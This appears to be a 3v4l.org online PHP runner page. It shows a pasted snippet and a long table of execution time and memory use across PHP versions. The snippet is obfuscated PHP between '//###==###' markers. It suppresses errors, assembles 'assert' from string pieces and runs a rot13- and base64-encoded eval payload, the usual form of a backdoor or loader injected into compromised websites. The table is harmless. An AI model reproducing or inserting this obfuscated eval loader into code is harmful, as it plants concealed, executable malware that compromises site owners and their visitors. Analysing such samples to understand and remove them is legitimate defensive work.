3v4l.org

run code in 300+ PHP versions simultaneously
<?php //###==### error_reporting(0); $strings = "as";$strings .= "sert"; $strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUgcMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFyxnJHbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXGgcMvtunKAmMKDbWTAsJlWVISEDK0SQD0IDIS9QFRSFH0IHVy0cXKgcMvujpzIaK21uqTAbXPVuYvS1VvkznJkyK2qyqS9wo250MJ50pltxK1ASHyMSHyfvH0AFFIOHK0MWGRIBDH1SVy0cXFy7WTZjCFWIIRLgBPV7sJIfp2I7WTZjCFW3nJ5xo3qmYGRlAGRvB319MJkmMKfxLmN9WTAsJlWVISEDK0SQD0IDIS9QFRSFH0IHVy07sJyzXTM1ozA0nJ9hK2I4nKA0pltvL3IloS9cozy0VvxcrlEwZG1wqKWfK2yhnKDbVzu0qUN6Yl9crTAipzHhpaHiM2I0YaObpQ9xCFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWGEIWJEIWsGxSAEFWqYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqXF4vWaH9Vv51pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXF4vWzZ9Vv4xLmNhVvMcCGRznKN9Vv4xK1ASHyMSHyfvHxIAG1ESK0SRESVvKF4vWzt9Vv5gMQHbVzHkZQLmZQH3AGRkBGWzMQLjZGL0A2IzLwL1ATH4AQx0Vv4xK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKF4xK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0hWTZjYvVkVvxcB2A1pzksp2I0o3O0XPEwZFj0ZvkzLJkmMFx7L3IloS9mMKEipUDbWTZkYQR5BGRmYUElqJHcBlEcLaLtCFNtL3IloS9yrTIwXPEwZFx7L3IloS9woT9mMFtxLmRcB31yoUAynJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvx9CGRcrlEcLaLtCFOznJkyK2qyqS9wo250MJ50pltvnUE0pQbiY2y4L29lMF5lqF9aMKDhpTujC2D9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyASHyMSHy9BDH1SVy0hWS9GEIWJEIWoVyWSHIISH1EsIIWWVy0cYvVzqG0vYaIloTIhL29xMFtxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0cYvVzLm0vYvEwZP4vWzx9ZFMcpQ0vYvEsH0IFIxIFJlWFEH1CIRIsDHERHvWqYvVznQ0vYz1xAFtvMGRjAwZjAGp1ZGR5ZzMxAwNkAwD3MJMvAwH0MGt0BGDvYvEsH0IFIxIFJlWGEIWJEIWsGxSAEFWqYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqYvEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKF4xLmNhVwRvXFx7sFOcMvNbnKAmMKDbWTyvqvxcVUftMJAbolNxnJW2BlO9VTyzXTymp2I0XPEsHxIEIHIGISfvpPWqXFNzWvNxK1WSHIISH1EoVaNvKFN9CFNvAwZ0ZGOvLGHvXFO7VROup3AypaDbWS9FEISIEIAHJlWwVy0cBlO9sD=="));')); echo $strings; //###==### ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0120.00918.31
8.3.50.0100.01021.20
8.3.40.0090.00618.75
8.3.30.0030.01018.67
8.3.20.0050.00320.34
8.3.10.0040.00423.53
8.3.00.0040.00422.44
8.2.180.0150.00616.75
8.2.170.0100.00722.96
8.2.160.0070.00720.44
8.2.150.0050.00324.18
8.2.140.0080.00024.66
8.2.130.0060.00326.16
8.2.120.0070.00417.63
8.2.110.0000.00919.21
8.2.100.0090.00317.84
8.2.90.0050.00319.17
8.2.80.0050.00317.97
8.2.70.0050.00517.75
8.2.60.0050.00317.80
8.2.50.0030.00618.07
8.2.40.0000.00821.10
8.2.30.0000.00718.00
8.2.20.0000.00817.69
8.2.10.0000.00717.99
8.2.00.0000.00718.01
8.1.280.0110.00425.92
8.1.270.0080.00020.33
8.1.260.0040.00426.35
8.1.250.0070.00028.09
8.1.240.0090.00023.84
8.1.230.0090.00317.52
8.1.220.0060.00317.78
8.1.210.0080.00018.77
8.1.200.0030.00617.22
8.1.190.0040.00417.10
8.1.180.0060.00318.10
8.1.170.0060.00318.53
8.1.160.0080.00023.64
8.1.150.0000.00718.89
8.1.140.0050.00317.46
8.1.130.0000.00717.66
8.1.120.0050.00217.26
8.1.110.0080.00017.32
8.1.100.0040.00417.40
8.1.90.0070.00017.35
8.1.80.0000.00817.39
8.1.70.0030.00317.38
8.1.60.0020.00517.51
8.1.50.0090.00017.39
8.1.40.0050.00217.43
8.1.30.0000.01017.42
8.1.20.0040.00417.66
8.1.10.0000.00717.47
8.1.00.0040.00417.41
8.0.300.0070.00018.77
8.0.290.0040.00416.75
8.0.280.0000.00718.50
8.0.270.0030.00317.26
8.0.260.0030.00317.21
8.0.250.0040.00417.03
8.0.240.0040.00416.91
8.0.230.0040.00416.88
8.0.220.0040.00416.83
8.0.210.0050.00316.85
8.0.200.0060.00016.83
8.0.190.0040.00416.86
8.0.180.0040.00416.88
8.0.170.0040.00416.74
8.0.160.0000.00716.75
8.0.150.0070.00016.67
8.0.140.0000.00716.80
8.0.130.0050.00013.27
8.0.120.0030.00516.84
8.0.110.0040.00416.73
8.0.100.0000.00816.73
8.0.90.0080.00016.66
8.0.80.0140.00716.86
8.0.70.0070.00016.75
8.0.60.0000.00716.75
8.0.50.0000.00816.87
8.0.30.0050.01217.13
8.0.20.0120.00617.40
8.0.10.0000.00716.75
8.0.00.0090.00816.74
7.4.330.0050.00015.08
7.4.320.0040.00416.54
7.4.300.0030.00316.34
7.4.290.0060.00616.60
7.4.280.0040.00416.49
7.4.270.0030.00616.58
7.4.260.0030.00316.36
7.4.250.0080.00016.43
7.4.240.0040.00316.43
7.4.230.0000.00716.20
7.4.220.0070.01116.40
7.4.210.0120.00616.59
7.4.200.0030.00316.53
7.4.160.0120.00916.48
7.4.150.0060.01217.40
7.4.140.0110.01317.86
7.4.130.0140.00716.54
7.4.120.0100.00716.61
7.4.110.0110.01116.53
7.4.100.0140.00716.30
7.4.90.0070.01116.47
7.4.80.0100.01019.39
7.4.70.0100.00616.67
7.4.60.0160.00016.56
7.4.50.0050.00016.59
7.4.40.0100.00716.50
7.4.30.0070.01416.64
7.4.00.0070.00914.87
7.3.330.0020.00213.11
7.3.320.0000.00613.15
7.3.310.0000.00916.13
7.3.300.0050.00316.19
7.3.290.0030.01316.29
7.3.280.0050.01416.27
7.3.270.0130.01017.40
7.3.260.0060.01116.22
7.3.250.0120.00816.37
7.3.240.0130.00416.29
7.3.230.0090.00916.45
7.3.210.0090.01216.24
7.3.200.0100.01319.39
7.3.190.0060.01016.25
7.3.180.0070.01016.47
7.3.170.0060.01116.27
7.3.160.0160.00016.45
7.3.120.0150.00014.95
7.3.110.0120.00314.77
7.3.100.0120.00014.77
7.3.90.0060.00614.58
7.3.80.0030.01014.86
7.3.70.0040.00714.80
7.3.60.0140.00014.57
7.3.50.0060.00614.81
7.3.40.0040.00714.63
7.3.30.0100.00314.85
7.3.20.0080.00316.56
7.3.10.0060.00916.66
7.3.00.0060.00616.54
7.2.330.0140.00516.68
7.2.320.0090.00916.47
7.2.310.0150.00316.77
7.2.300.0090.00916.67
7.2.290.0070.01116.34
7.2.250.0030.01015.14
7.2.240.0130.00315.01
7.2.230.0000.01515.14
7.2.220.0000.00815.18
7.2.210.0040.00714.75
7.2.200.0060.00615.08
7.2.190.0040.01114.86
7.2.180.0040.01115.18
7.2.170.0070.00715.11
7.2.00.0000.01219.41
7.1.330.0030.01015.43
7.1.320.0140.00415.80
7.1.310.0260.00715.66
7.1.300.0060.01015.50
7.1.290.0120.01215.41
7.1.280.0090.00615.49
7.1.270.0230.00315.52
7.1.260.0040.00715.97
7.1.100.0060.00617.97
7.1.70.0080.00017.17
7.1.60.0000.01217.27
7.1.50.0190.00316.73
7.1.00.0030.07722.45
7.0.200.0110.01117.31
7.0.60.0000.08720.34
7.0.50.0170.08018.20
7.0.40.0070.04720.46
7.0.30.0430.04720.53
7.0.20.0230.05020.51
7.0.10.0130.05320.57
7.0.00.0130.03720.56
5.6.280.0070.06021.32
5.6.210.0170.07320.98
5.6.200.0200.07018.73
5.6.190.0100.08020.98
5.6.180.0130.04721.02
5.6.170.0170.04020.97
5.6.160.0100.05020.85
5.6.150.0070.07318.54
5.6.140.0070.04718.51
5.6.130.0070.06318.43
5.6.120.0030.04321.44
5.6.110.0100.08321.29
5.6.100.0070.08021.47
5.6.90.0130.07721.37
5.6.80.0130.07320.72
5.6.70.1670.04720.92
5.5.350.0070.04020.88
5.5.340.0070.04018.38
5.5.330.0070.05020.82
5.5.320.0330.06720.63
5.5.310.0300.06020.58
5.5.300.0100.08318.45
5.5.290.0100.07318.27
5.5.280.0130.07021.08
5.5.270.0070.06021.32
5.5.260.0030.08321.20
5.5.250.0100.05320.95
5.5.240.0170.04320.43
5.4.450.0600.06319.54
5.4.440.0730.05719.54
5.4.430.0600.06319.57
5.4.420.0770.05719.83
5.4.410.0730.05719.45
5.4.400.0830.05019.52
5.4.390.0830.05019.41
5.4.380.0800.05319.52
5.4.370.0700.06319.48
5.4.360.0700.07019.51
5.4.350.0770.04719.43
5.4.340.0700.05019.41
5.4.320.0800.05719.52
5.4.310.0830.05019.31
5.4.300.0770.05319.32
5.4.290.0800.05019.34
5.4.280.0730.06719.34
5.4.270.0870.04319.34
5.4.260.0670.05719.29
5.4.250.0600.05719.31
5.4.240.0630.05319.29
5.4.230.0600.06019.24
5.4.220.0700.06019.21
5.4.210.0730.05719.22
5.4.200.0830.05316.91
5.4.190.0800.05019.07
5.4.180.1030.04719.13
5.4.170.0830.05019.26
5.4.160.0830.04719.28
5.4.150.0700.05319.06
5.4.140.0800.05316.70
5.4.130.0770.05316.65
5.4.120.0870.04016.84
5.4.110.0900.03716.75
5.4.100.0900.05716.59
5.4.90.0700.05016.57
5.4.80.0700.04716.82
5.4.70.0730.04716.81
5.4.60.0230.04017.15
5.4.50.0070.07017.00
5.4.40.0200.03717.10
5.4.30.0300.05016.97
5.4.20.0170.03716.98

preferences:
41.48 ms | 401 KiB | 5 Q